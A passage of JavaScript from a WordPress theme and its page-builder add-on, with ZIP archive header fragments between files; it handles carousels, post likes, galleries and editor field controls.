		saveAjaxData: function ( key, data ) {

			var dataPost = data.items
			dataPost = dataPost.replace( /data-bgset="/g, 'style="background-image: url(' )
			dataPost = dataPost.replace( /" data-delay/g, ');" data-delay' )

			$.each( data, function ( index, value ) {
				if ( 'items' === index ) {
					data[index] = dataPost
				}
			} )

			PENCILOCALCACHE.set( key, data )
		},
	}
	PENCI.sliderOwl = function ( $item ) {
		$item.each( function () {
			var $this = $( this ),
				$penciBlock = $this.closest( '.penci-block-vc' ),
				$penciNav = $penciBlock.find( '.penci-slider-nav' ),
				$customNext = $penciBlock.find( '.penci-slider-next' ),
				$customPrev = $penciBlock.find( '.penci-slider-prev' ),
				$dataStyle = $this.data( 'style' ),
				$dataItems = $this.data( 'items' ),
				$dataAutoWidth = $this.data( 'autowidth' ),
				$dataAuto = $this.data( 'auto' ),
				$dataAutoTime = $this.data( 'autotime' ),
				$dataSpeed = $this.data( 'speed' ),
				$dataLoop = $this.data( 'loop' ),
				$dataDots = $this.data( 'dots' ),
				$dataNav = $this.data( 'nav' ),
				$dataCenter = $this.data( 'center' ),
				$dataVideo = $this.data( 'video' ),
				$dataVertical = $this.data( 'vertical' ),
				$dataMagrin = $this.data( 'magrin' ),
				$lazyLoad = true,
				$dataReponsive = {}

			if ( 2 === $dataItems ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2 },
				}
			}

			if ( (
				     3 === $dataItems || $this.hasClass( 'penci-related-carousel' )
			     ) && 'style-27' !== $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2, autoWidth: false },
					992: { items: 3 },
				}
			}

			if ( 4 === $dataItems ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2, autoWidth: false },
					960: { items: 3 },
					1100: { items: 4 },
				}
			}

			if ( 'style-7' === $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					900: { items: 1, autoWidth: true },
				}
			}

			if ( 'style-18' === $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					768: { items: 2, autoWidth: false },
				}
			}

			if ( 'style-10' === $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					768: { items: 1, autoWidth: false },
					690: { items: 2 },
				}
			}

			if ( 1 === $dataAutoWidth && 'style-27' !== $dataStyle && 'style-7' !== $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2 },
					768: { items: 2 },
					992: { items: 3 },
				}
			}

			var owl_args = {
				loop: 1 === $dataLoop ? false : true,
				margin: $dataMagrin,
				items: $dataItems ? $dataItems : 3,
				navSpeed: $dataSpeed,
				dotsSpeed: $dataSpeed,
				nav: 1 === $dataNav ? true : false,
				dots: 1 === $dataDots ? true : false,
				navText: ['<i class="penciicon-left-chevron"></i>', '<i class="penciicon-right-chevron"></i>'],
				autoplay: 1 === $dataAuto ? true : false,
				autoplayTimeout: $dataAutoTime,
				autoHeight: false,
				center: 1 === $dataCenter ? true : false,
				autoWidth: 1 === $dataAutoWidth ? true : false,
				autoplayHoverPause: true,
				autoplaySpeed: $dataSpeed,
				video: 1 === $dataVideo ? true : false,
				animateOut: 1 === $dataVertical ? 'fadeOutRightNewsTicker' : false,
				animateIn: 1 === $dataVertical ? 'fadeInRightNewsTicker' : false,
				lazyLoad: $lazyLoad,
				responsive: $dataReponsive,
			}

			if ( $this.hasClass( 'penci-slider-fullscreen' ) ) {
				var slideHeight = parseFloat( $( window ).height() ),
					slidewidth = parseFloat( $( window ).width() ),
					sliderRatio = slideHeight / slidewidth * 100,
					sliderRatio = sliderRatio.toFixed( 2 ) + '%'

				$this.find( '.penci-slider__item' ).css( 'padding-top', sliderRatio )
			}

			$this.imagesLoaded( { background: '.penci-slider__item' }, function () {
				$( 'body' ).trigger( 'el_featured_slider' )
			} )

			$this.on( 'initialized.owl.carousel', function ( event ) {
				PENCI.penciLazy()

				var $jarallax = $this.find( '.penci-jarallax-slider' )

				if ( $jarallax.length ) {
					$jarallax.jarallax( { elementInViewport: $this, imgPosition: '30% 50%' } )
				}
			} )

			// Go to the next item
			$customNext.click( function ( ev ) {
				ev.preventDefault()
				$this.trigger( 'next.owl.carousel' )
				return false
			} )

			// Go to the previous item
			$customPrev.click( function ( ev ) {
				ev.preventDefault()
				$this.trigger( 'prev.owl.carousel' )
				return false
			} )


		} )
	},
		PENCI.Jarallax = function () {
			if ( !$.fn.jarallax || !$( '.penci-jarallax' ).length ) {
				return false
			}

			$( '.penci-jarallax' ).each( function () {
				var $this = $( this ),
					$jarallaxArgs = {}

				if ( $this.hasClass( 'penci-jarallax-inviewport' ) ) {
					var $parent = $this.closest( '.penci-owl-featured-area' )
					$jarallaxArgs = { elementInViewport: $parent, imgPosition: '30% 50%' }
				}

				$this.imagesLoaded( { background: true }, function () {
					jarallax( $this, $jarallaxArgs )
				} )


			} )
		},
		PENCI.postLike = function () {
			$( 'body' ).on( 'click', '.penci-post-like', function ( event ) {
				event.preventDefault()
				var $this = $( this ),
					post_id = $this.data( 'post_id' ),
					like_text = $this.data( 'like' ),
					unlike_text = $this.data( 'unlike' ),
					$selector = $this.children( '.penci-share-number' )

				var $like = parseInt( $selector.text() )

				if ( $this.hasClass( 'single-like-button' ) ) {
					$selector = $( '.single-like-button .penci-share-number' )
					$this = $( '.single-like-button' )
				}

				if ( $this.hasClass( 'liked' ) ) {
					$this.removeClass( 'liked' )
					$this.prop( 'title', like_text )
					$selector.html( (
						$like - 1
					) )
				} else {
					$this.addClass( 'liked' )
					$this.prop( 'title', unlike_text )
					$selector.html( (
						$like + 1
					) )
				}

				var data = {
					action: 'penci_post_like',
					post_id: post_id,
					penci_post_like: '',
					nonce: PENCILOCALIZE.nonce,
				}

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( r ) {
				} )
			} )
		}
	PENCI.gallery = function () {
		var $justified_gallery = $( '.penci-post-gallery-container.justified' )
		var $masonry_gallery = $( '.penci-post-gallery-container.masonry' )
		if ( $().justifiedGallery && $justified_gallery.length ) {
			$( '.penci-post-gallery-container.justified' ).each( function () {
				var $this = $( this )
				$this.justifiedGallery( {
					rowHeight: $this.data( 'height' ),
					lastRow: 'nojustify',
					margins: $this.data( 'margin' ),
					randomize: false,
				} )
			} ) // each .penci-post-gallery-container
		}

		if ( $().isotope && $masonry_gallery.length ) {

			$( '.penci-post-gallery-container.masonry .item-gallery-masonry' ).each( function () {
				var $this = $( this )
				if ( $this.attr( 'title' ) ) {
					var $title = $this.attr( 'title' )
					$this.children().append( '<div class="caption">' + $title + '</div>' )
				}
			} )

			if ( $masonry_gallery.length ) {
				$masonry_gallery.each( function () {
					var $this = $( this )
					$this.imagesLoaded( function () {
						// initialize isotope
						$this.isotope( {
							itemSelector: '.item-gallery-masonry',
							transitionDuration: '.55s',
							layoutMode: 'masonry',
						} )

						$this.addClass( 'loaded' )

						$( '.penci-post-gallery-container.masonry .item-gallery-masonry' ).each( function () {
							var $this = $( this )
							$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
								$this.addClass( 'animated' )
							} ) // inview
						} )
					} )
				} ) // each
			}
		}

	}
	PENCI.EasyPieChart = function () {

		$( '.penci-review-process' ).each( function () {
			var $this = $( this ),
				$bar = $this.children(),
				$bar_w = $bar.data( 'width' ) * 10
			$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
				$bar.animate( { width: $bar_w + '%' }, 1000 )
			} ) // bind inview
		} ) // each

		if ( !$.fn.easyPieChart || !$( '.penci-piechart' ).length ) {
			return false
		}

		$( '.penci-piechart' ).each( function () {
			var $this = $( this )
			$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
				var chart_args = {
					barColor: $this.data( 'color' ),
					trackColor: $this.data( 'trackcolor' ),
					scaleColor: false,
					lineWidth: $this.data( 'thickness' ),
					size: $this.data( 'size' ),
					animate: 1000,
				}
				$this.easyPieChart( chart_args )
			} ) // bind inview
		} ) // each
	}

	vc_iframe.penciSliders = function ( model_id ) {
		$( 'body' ).trigger( 'el_featured_slider' )
	}
}( window.jQuery )
PK     N\=?0  0  #  inc/js_composer/assets/vc-fields.jsnu [        (function ($) {
    var $panel = $('#vc_ui-panel-edit-element');
    $panel.on('vcPanel.shown', function () {

        if (typeof tinyMCE !== 'undefined') {
            if (tinyMCE.get('wpb_tinymce_content')) {
                var _formated_content = tinyMCE.get('wpb_tinymce_content').getContent();
                _formated_content = _formated_content.replace(/<\/p><p>\s<\/p>/g, '</p>');
            }
            tinyMCE.EditorManager.execCommand('mceRemoveEditor', true, 'wpb_tinymce_content');
        }

        var $wrapperPanel = $(this);

        $(document).ajaxComplete(function (event, request, settings) {
            $wrapperPanel.find('.post-types-list').each(function () {
                var $exlcude = ['e-landing-page', 'elementor_library', 'penci-block', 'web-story', 'product'],
                    $checkboxs = $(this).find('input');
                $checkboxs.each(function () {
                    if (jQuery.inArray($(this).val(), $exlcude) !== -1) {
                        $(this).closest('label').hide();
                    }
                });
            });
        });


        $('.penci-param-heading-wrapper').each(function () {
            var $divider = $(this);
            var $fields = $divider.nextUntil('.penci-param-heading-wrapper, .vc_shortcode-param.penci-vc-no-wrap');
            var $wrapper = $('<div class="penci-td-wrapper"></div>');
            var $content = $('<div class="penci-td-content"></div>');

            $divider.before($wrapper);
            $wrapper.append($divider);

            if ($fields.length) {
                $content.append($fields);
                $wrapper.append($content);
            }
        });

        $('.vc_edit-form-tab').each(function () {
            if (!$(this).find('.penci-param-heading-wrapper').length) {
                $(this).wrapInner("<div class='penci-td-wrapper no-head'></div>");
            }
        });

        $('.penci-vc-switch').each(function () {
            var $this = $(this);
            var currentValue = $this.find('.switch-field-value').val();

            $this.find('[data-value="' + currentValue + '"]').addClass('pc-active');
        });

        $('.switch-controls').on('click', function () {
            var $this = $(this);
            var value = $this.data('value');

            $this.addClass('pc-active');
            $this.siblings().removeClass('pc-active');
            $this.parents('.penci-vc-switch').find('.switch-field-value').val(value).trigger('change');
        });

        // slider
        $('.penci-vc-slider').each(function () {
            var $this = $(this);
            var $value = $this.find('.pc-slider-field-value');
            var $slider = $this.find('.pc-slider-field');
            var $text = $this.find('.pc-slider-value-preview');
            var sliderData = $value.data();
            var mainInputVal = $value.val();

            if (mainInputVal && isBase64(mainInputVal) && sliderData.css_args) {
                var parseVal = JSON.parse(window.atob(mainInputVal));
                mainInputVal = parseVal.data[sliderData.css_params.device];
            }

            $slider.slider({
                range: 'min',
                value: mainInputVal,
                min: sliderData.min,
                max: sliderData.max,
                step: sliderData.step,
                slide: function (event, ui) {
                    setMainSliderValue($this, ui.value);
                    $text.text(ui.value);
                }
            });

            $text.text($slider.slider('value'));
            setMainSliderValue($this, mainInputVal);
        });

        function setMainSliderValue($this, value) {
            var $mainInput = $this.find('.pc-slider-field-value');

            var results = {
                param_type: 'penci_slider',
                css_args: $mainInput.data('css_args'),
                css_params: $mainInput.data('css_params'),
                selector_id: $('.penci-css-id').val(),
                data: {}
            };

            results.data[$mainInput.data('css_params').device] = value;

            results = window.btoa(JSON.stringify(results));

            if (0 === parseInt(value)) {
                results = '';
            }

            if (!$mainInput.data('css_args')) {
                results = value;
            }

            $mainInput.val(results).trigger('change');
        }

        function isBase64(str) {
            try {
                return btoa(atob(str)) === str;
            } catch (err) {
                return false;
            }
        }

        // responsive sizes
        //Transfer old options
        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.desktop_text_size'),
                tablet: $('.tablet_text_size'),
                mobile: $('.mobile_text_size'),
            },
            newOptSelector: $('.title_font_size'),
        });

        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.desktop_text_size'),
                tablet: $('.tablet_text_size'),
                mobile: $('.mobile_text_size'),
            },
            newOptSelector: $('.text_font_size'),
        });

        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.title_desktop_text_size'),
                tablet: $('.title_tablet_text_size'),
                mobile: $('.title_mobile_text_size'),
            },
            newOptSelector: $('.custom_title_size'),
        });

        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.subtitle_desktop_text_size'),
                tablet: $('.subtitle_tablet_text_size'),
                mobile: $('.subtitle_mobile_text_size'),
            },
            newOptSelector: $('.custom_subtitle_size'),
        });

        function transferCustomSizeOptions(args) {
            if (args.newOptSelector.length == 0) return;

            $.each(args.oldSizes, function (key, value) {
                if (!value.val()) return;
                args.newOptSelector.find('input[data-id="' + key + '"]').val(value.val());
                args.newOptSelector.find('.penci-rs-item').removeClass('hide');
                args.newOptSelector.find('.penci-rs-value').val('');
                value.val('');
            });
        }

        //Size options
        $('.penci-rs-wrapper').each(function () {
            var $this = $(this);
            setInputsValue($this);
            setMainValue($this);
        });

        $('.penci-rs-input').on('change', function () {
            var $wrapper = $(this).parents('.penci-rs-wrapper');
            setMainValue($wrapper);
        });

        function setMainValue($this) {
            var $mainInput = $this.find('.penci-rs-value');
            var results = {
                param_type: 'penci_responsive_sizes',
                css_args: $mainInput.data('css_args'),
                selector_id: $('.penci-css-id').val(),
                data: {}
            };

            $this.find('.penci-rs-input').each(function (index, elm) {
                var value = $(elm).val();
                var responsive = $(elm).data('id');
                if (value) {
                    results.data[responsive] = value + 'px';
                }
            });

            if ($.isEmptyObject(results.data)) {
                results = '';
            } else {
                results = window.btoa(JSON.stringify(results));
            }

            $mainInput.val(results).trigger('change');
        }

        function setInputsValue($this) {
            var $mainInput = $this.find('.penci-rs-value');
            var mainInputVal = $mainInput.val();
            var toggle = {};

            if (mainInputVal) {
                var parseVal = JSON.parse(window.atob(mainInputVal));

                $.each(parseVal.data, function (key, value) {
                    $this.find('.penci-rs-input').each(function (index, element) {
                        var dataid = $(element).data('id');

                        if (dataid == key) {
                            $(element).val(value.replace('px', ''));
                            //Toggle
                            toggle[dataid] = value;
                        }
                    });
                });
            }

            //Toggle
            function size(obj) {
                var size = 0, key;
                for (key in obj) {
                    if (obj.hasOwnProperty(key)) size++;
                }
                return size;
            };

            var size = size(toggle);

            if (size >= 2) {
                $this.find('.penci-rs-item').removeClass('hide');
            }
        }

        // responsive spacing
        $('.vc_wrapper-param-type-css_editor .vc_layout-onion').addClass('pc-active');
        $('.pc-spacing-devices > span').on('click', function () {
            var $this = $(this);
            var device = $this.data('value');

            $this.siblings().removeClass('pc-active');
            $this.addClass('pc-active');
            if ('desktop' === device) {
                $wrapperPanel.find('.vc_layout-onion').removeClass('pc-active');
                $wrapperPanel.find('.vc_wrapper-param-type-css_editor .vc_layout-onion').addClass('pc-active');
            } else {
                $wrapperPanel.find('.vc_layout-onion').removeClass('pc-active');
                $wrapperPanel.find('.vc_layout-onion[data-device="' + device + '"]').addClass('pc-active');
            }
        });

        $('.pc-responsive-spacing-wrapper').each(function () {
            var $this = $(this);
            setResSpacingInputsValue($this);
            setResSpacingMainValue($this);
        });

        $('.pc-responsive-spacing input').on('change', function () {
            var $wrapper = $(this).parents('.pc-responsive-spacing-wrapper');
            setResSpacingMainValue($wrapper);
        });

        function setResSpacingMainValue($this) {
            var $mainInput = $this.find('.pc-responsive-spacing-value');
            var results = {
                param_type: 'penci_responsive_spacing',
                selector_id: $('.penci-css-id').val(),
                shortcode: $panel.attr('data-vc-shortcode'),
                data: {}
            };

            $this.find('.pc-responsive-spacing').each(function () {
                var $this = $(this);
                var device = $this.data('device');

                results.data[device] = {};

                $this.find('input').each(function (index, elm) {
                    var $elm = $(elm);
                    var value = $elm.val();
                    var name = $elm.data('name');

                    if (value) {
                        Object.assign(results.data[device], {
                            [name]: value
                        });
                    }
                });
            });

            if ($.isEmptyObject(results.data)) {
                results = '';
            } else {
                results = window.btoa(JSON.stringify(results));
            }

            $mainInput.val(results).trigger('change');
        }

        function setResSpacingInputsValue($this) {
            var $mainInput = $this.find('.pc-responsive-spacing-value');
            var mainInputVal = $mainInput.val();

            if (mainInputVal) {
                var parseVal = JSON.parse(window.atob(mainInputVal));

                $.each(parseVal.data, function (key, value) {
                    var device = key;
                    if (value) {
                        $.each(value, function (key, value) {
                            if (!value.includes('px') && !value.includes('%') && !value.includes('vh') && !value.includes('vw')) {
                                value += 'px';
                            }

                            $this.find('[data-device="' + device + '"]').find('[data-name="' + key + '"]').val(value);
                        });
                    }
                });
            }
        }

        if (typeof tinyMCE !== 'undefined') {
            tinyMCE.EditorManager.execCommand('mceAddEditor', true, 'wpb_tinymce_content');
            if (typeof _formated_content !== typeof undefined) {
                tinyMCE.get('wpb_tinymce_content').setContent(_formated_content);
            }
        }
    });
})(jQuery);
PK     N\,nbOc  Oc  $  inc/js_composer/assets/vc-backend.jsnu [        if (!window.vc) var vc = {};
!function () {
    vc.templateOptions = {
        default: {
            evaluate: /<%([\s\S]+?)%>/g,
            interpolate: /<%=([\s\S]+?)%>/g,
            escape: /<%-([\s\S]+?)%>/g
        },
        custom: {
            evaluate: /<#([\s\S]+?)#>/g,
            interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
            escape: /\{\{([^\}]+?)\}\}(?!\})/g
        }
    };
    var escapes = {
            "'": "'",
            "\\": "\\",
            "\r": "r",
            "\n": "n",
            "\u2028": "u2028",
            "\u2029": "u2029"
        },
        escapeChar = function (match) {
            return "\\" + escapes[match]
        };
    vc.template = function (text, settings) {
        settings = _.defaults({}, settings, vc.templateOptions.default);
        var matcher = RegExp([(settings.escape || /(.)^/).source, (settings.interpolate || /(.)^/).source, (settings.evaluate || /(.)^/).source].join("|") + "|$", "g"),
            index = 0,
            source = "__p+='";
        text.replace(matcher, function (match, escape, interpolate, evaluate, offset) {
            return source += text.slice(index, offset).replace(/\\|'|\r|\n|\u2028|\u2029/g, escapeChar), index = offset + match.length, escape ? source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'" : interpolate ? source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'" : evaluate && (source += "';\n" + evaluate + "\n__p+='"), match
        }), source += "';\n", settings.variable || (source = "with(obj||{}){\n" + source + "}\n"), source = "var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\n" + source + "return __p;\n";
        var render;
        try {
            render = new Function(settings.variable || "obj", "_", source)
        } catch (e) {
            throw e.source = source, e
        }
        var template = function (data) {
                return render.call(this, data, _)
            },
            argument = settings.variable || "obj";
        return template.source = "function(" + argument + "){\n" + source + "}", template
    };
}(),
    function ($) {
        var Shortcodes = vc.shortcodes;
        window.VcPenciContainerView = vc.shortcode_view.extend({
            change_columns_layout: !1,
            events: {
                'click > .vc_controls [data-vc-control="delete"]': "deleteShortcode",
                "click > .vc_controls .penci_set_layout": "setColumns",
                'click > .vc_controls [data-vc-control="add"]': "addElement",
                'click > .vc_controls [data-vc-control="edit"]': "editElement",
                'click > .vc_controls [data-vc-control="clone"]': "clone",
                'click > .vc_controls [data-vc-control="move"]': "moveElement",
                'click > .vc_controls [data-vc-control="toggle"]': "toggleElement",
                "click > .wpb_element_wrapper .vc_controls": "openClosedRow"
            },
            convertRowColumns: function (layout) {
                var layout_split = layout.toString().split(/_/),
                    columns = Shortcodes.where({
                        parent_id: this.model.id
                    }),
                    new_columns = [],
                    new_layout = [],
                    new_width = "";

                var params = this.model.get("params"),
                    addParams = {container_layout: layout.toString()};
                mergedParams = _.extend({}, params, addParams);
                this.model.save("params", mergedParams);

                return _.each(layout_split, function (value, i) {
                    var new_column_params, new_column, column_data = _.map(value.toString().split(""), function (v, i) {
                        return parseInt(v, 10)
                    });

                    if (column_data.length > 3) {
                        new_width = column_data[0] + '' + column_data[1] + '/' + column_data[2] + '' + column_data[3];
                    } else if (column_data.length > 2) {
                        new_width = column_data[0] + '/' + column_data[1] + '' + column_data[2];
                    } else {
                        new_width = column_data[0] + '/' + column_data[1];
                    }
                    new_layout.push(new_width);

                    new_column_params = _.extend({}, _.isUndefined(columns[i]) ? {} : columns[i].get('params'),
                        {width: new_width, order: parseInt(i + 1)}),
                        vc.storage.lock(), new_column = Shortcodes.create({
                        shortcode: this.getChildTag(),
                        params: new_column_params,
                        parent_id: this.model.id
                    }), _.isObject(columns[i]) && _.each(Shortcodes.where({
                        parent_id: columns[i].id
                    }), function (shortcode) {
                        vc.storage.lock(), shortcode.save({
                            parent_id: new_column.id
                        }), vc.storage.lock(), shortcode.trigger("change_parent_id")
                    }), new_columns.push(new_column)
                }, this), layout_split.length < columns.length && _.each(columns.slice(layout_split.length), function (column) {
                    _.each(Shortcodes.where({
                        parent_id: column.id
                    }), function (shortcode) {
                        vc.storage.lock(), shortcode.save({
                            parent_id: _.last(new_columns).id
                        }), vc.storage.lock(), shortcode.trigger("change_parent_id")
                    })
                }), _.each(columns, function (shortcode) {
                    vc.storage.lock(), shortcode.destroy()
                }, this), this.model.save(), this.setActiveLayoutButton("" + layout), new_layout
            },
            changeShortcodeParams: function (model) {
                window.VcPenciContainerView.__super__.changeShortcodeParams.call(this, model), this.buildDesignHelpers(), this.setRowClasses()
            },
            setRowClasses: function () {
                var disable = this.model.getParam("disable_element"),
                    disableClass = "vc_hidden-xs vc_hidden-sm  vc_hidden-md vc_hidden-lg";
                this.disable_element_class && this.$el.removeClass(this.disable_element_class), _.isEmpty(disable) || (this.$el.addClass(disableClass), this.disable_element_class = disableClass)
            },
            designHelpersSelector: "> .penci_container_controls .column_toggle",
            buildDesignHelpers: function () {

                var css, $elementToPrepend, image, color, rowId, matches;

                var valueParam = '',
                    elWidth = this.model.getParam("el_width"),
                    elWidthCustom = this.model.getParam("penci_el_width_custom"),
                    elEnableSticky = this.model.getParam("el_enable_sticky");

                rowId = this.model.getParam("el_id");

                if (!_.isEmpty(rowId)) {
                    valueParam += "#" + rowId;
                }

                if (!_.isEmpty(elWidth)) {

                    if (!_.isEmpty(rowId)) {
                        valueParam += '|';
                    }

                    var $contentSidebarSidebar = this.$el.find("> .vc_controls .cell-12_14_14"),
                        $sidebarSidebarContent = this.$el.find("> .vc_controls .cell-14_14_12"),
                        $twoSidebar = this.$el.find("> .vc_controls .cell-14_12_14"),
                        $fourSidebar = this.$el.find("> .vc_controls .cell-14_14_14_14");

                    if ('penci-wide-content' === elWidth) {
                        valueParam += '';
                    } else if ('w1080' === elWidth && 'penci_container' === this.model.attributes.shortcode) {
                        valueParam += 'W:1080px';
                        $twoSidebar.addClass('penci-hidden');
                        $fourSidebar.addClass('penci-hidden');
                        $contentSidebarSidebar.addClass('penci-hidden');
                        $sidebarSidebarContent.addClass('penci-hidden');

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('cell-14_12_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('ccell-14_14_14_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }

                    } else if ('w1170' === elWidth) {
                        valueParam += 'W:1170px';
                        $twoSidebar.addClass('penci-hidden');
                        $fourSidebar.addClass('penci-hidden');
                        $contentSidebarSidebar.addClass('penci-hidden');
                        $sidebarSidebarContent.addClass('penci-hidden');

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('cell-14_12_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('ccell-14_14_14_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }
                    } else if ('w1400' === elWidth) {
                        valueParam += 'W:1400px';
                        $twoSidebar.removeClass('penci-hidden');
                        $fourSidebar.removeClass('penci-hidden');
                        $contentSidebarSidebar.removeClass('penci-hidden');
                        $sidebarSidebarContent.removeClass('penci-hidden');
                    }
                }

                if (!_.isEmpty(valueParam)) {
                    valueParam += '';
                }

                if (!_.isEmpty(elEnableSticky)) {
                    valueParam += '| Sticky';
                }

                css = this.model.getParam("css"), $elementToPrepend = this.$el.find(this.designHelpersSelector), this.$el.find("> .vc_controls .vc_row_color").remove(), this.$el.find("> .vc_controls .vc_row_image").remove(), matches = css.match(/background\-image:\s*url\(([^\)]+)\)/), matches && !_.isUndefined(matches[1]) && (image = matches[1]), matches = css.match(/background\-color:\s*([^\s\;]+)\b/), matches && !_.isUndefined(matches[1]) && (color = matches[1]), matches = css.match(/background:\s*([^\s]+)\b\s*url\(([^\)]+)\)/), matches && !_.isUndefined(matches[1]) && (color = matches[1], image = matches[2]), this.$el.find("> .vc_controls .vc_row-hash-id").remove(), _.isEmpty(valueParam) || $('<span class="vc_row-hash-id"></span>').text(valueParam).insertAfter($elementToPrepend), image && $('<span class="vc_row_image" style="background-image: url(' + image + ');" title="' + window.i18nLocale.row_background_image + '"></span>').insertAfter($elementToPrepend), color && $('<span class="vc_row_color" style="background-color: ' + color + '" title="' + window.i18nLocale.row_background_color + '"></span>').insertAfter($elementToPrepend)
            },
            addElement: function (e) {
                e && e.preventDefault(), Shortcodes.create({
                    shortcode: this.getChildTag(),
                    params: {},
                    parent_id: this.model.id
                }), this.setActiveLayoutButton(), this.$el.removeClass("vc_collapsed-row")
            },
            getChildTag: function () {
                return "penci_container_inner" === this.model.get("shortcode") ? "penci_column_inner" : "penci_column"
            },
            sortingSelector: "> [data-element_type=vc_column], > [data-element_type=vc_column_inner]",
            sortingSelectorCancel: ".vc-non-draggable-column",
            setSorting: function () {
                var _this = this;
                1 < this.$content.find(this.sortingSelector).length ? this.$content.removeClass("wpb-not-sortable").sortable({
                    forcePlaceholderSize: !0,
                    placeholder: "widgets-placeholder-column",
                    tolerance: "pointer",
                    cursor: "move",
                    items: this.sortingSelector,
                    cancel: this.sortingSelectorCancel,
                    distance: .5,
                    start: function (event, ui) {
                        $("#visual_composer_content").addClass("vc_sorting-started"), ui.placeholder.width(ui.item.width())
                    },
                    stop: function (event, ui) {
                        $("#visual_composer_content").removeClass("vc_sorting-started")
                    },
                    update: function () {
                        var $columns = $(_this.sortingSelector, _this.$content);
                        $columns.each(function () {
                            var model = $(this).data("model"),
                                index = $(this).index();
                            model.set("order", index), $columns.length - 1 > index && vc.storage.lock(), model.save()
                        })
                    },
                    over: function (event, ui) {
                        ui.placeholder.css({
                            maxWidth: ui.placeholder.parent().width()
                        }), ui.placeholder.removeClass("vc_hidden-placeholder")
                    },
                    beforeStop: function (event, ui) {
                    }
                }) : (this.$content.hasClass("ui-sortable") && this.$content.sortable("destroy"), this.$content.addClass("wpb-not-sortable"))
            },
            validateCellsList: function (cells) {
                var b, return_cells = [],
                    split = cells.replace(/\s/g, "").split("+");
                return 12 === _.reduce(_.map(split, function (c) {
                    if (c.match(/^(vc_)?span\d?$/)) {
                        var converted_c = vc_convert_column_span_size(c);
                        return !1 === converted_c ? 1e3 : (b = converted_c.split(/\//), return_cells.push(b[0] + "" + b[1]), 12 * parseInt(b[0], 10) / parseInt(b[1], 10))
                    }
                    return c.match(/^[1-9]|1[0-2]\/[1-9]|1[0-2]$/) ? (b = c.split(/\//), return_cells.push(b[0] + "" + b[1]), 12 * parseInt(b[0], 10) / parseInt(b[1], 10)) : 1e4
                }), function (num, memo) {
                    return memo += num
                }, 0) && return_cells.join("_")
            },
            setActiveLayoutButton: function (column_layout) {
                column_layout || (column_layout = _.map(vc.shortcodes.where({
                    parent_id: this.model.get("id")
                }), function (model) {
                    var width = model.getParam("width");
                    return width ? width.replace(/\//, "") : "11"
                }).join("_")), this.$el.find("> .vc_controls .vc_active").removeClass("vc_active");
                var $button = this.$el.find('> .vc_ [data-cells-mask="' + vc_get_column_mask(column_layout) + '"] [data-cells="' + column_layout + '"], > .vc_controls [data-cells-mask="' + vc_get_column_mask(column_layout) + '"][data-cells="' + column_layout + '"]');
                $button.length ? $button.addClass("vc_active") : this.$el.find("> .vc_controls [data-cells-mask=custom]").addClass("vc_active")
            },
            layoutEditor: function () {
                return _.isUndefined(vc.row_layout_editor) && (vc.row_layout_editor = new vc.RowLayoutUIPanelBackendEditor({
                    el: $("#vc_ui-panel-row-layout")
                })), vc.row_layout_editor
            },
            setColumns: function (e) {
                _.isObject(e) && e.preventDefault();
                var $button = $(e.currentTarget);
                $button.is(".vc_active") || (this.change_columns_layout = !0, _.defer(function (view, cells) {
                    view.convertRowColumns(cells)
                }, this, $button.data("cells")))
                this.$el.removeClass("vc_collapsed-row")
            },
            sizeRows: function () {
                var max_height = 45;
                $("> .wpb_vc_column, > .wpb_vc_column_inner", this.$content).each(function () {
                    var content_height = $(this).find("> .wpb_element_wrapper > .wpb_column_container").css({
                        minHeight: 0
                    }).height();
                    content_height > max_height && (max_height = content_height)
                }).each(function () {
                    $(this).find("> .wpb_element_wrapper > .wpb_column_container").css({
                        minHeight: max_height
                    })
                })
            },
            ready: function (e) {
                return window.VcPenciContainerView.__super__.ready.call(this, e), this
            },
            checkIsEmpty: function () {
                window.VcPenciContainerView.__super__.checkIsEmpty.call(this), this.setSorting()
            },
            changedContent: function (view) {
                if (this.change_columns_layout) return this;
                this.setActiveLayoutButton()
            },
            moveElement: function (e) {
                e.preventDefault()
            },
            toggleElement: function (e) {
                e && e.preventDefault(), this.$el.toggleClass("vc_collapsed-row")
            },
            openClosedRow: function (e) {
                this.$el.removeClass("vc_collapsed-row")
            },
            remove: function () {
                this.$content && this.$content.data("uiSortable") && this.$content.sortable("destroy"), this.$content && this.$content.data("uiDroppable") && this.$content.droppable("destroy"), delete vc.app.views[this.model.id], window.VcPenciContainerView.__super__.remove.call(this)
            }
        });
        window.VcPenciVideoList = vc.shortcode_view.extend({

            changeShortcodeParams: function (model) {
                var data = {
                    action: 'penci_save_video_playlist',
                    videoList: this.model.getParam("videos_list"),
                    shortcodeId: this.model.getParam("video_shortcode_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
            deleteShortcode: function (e) {

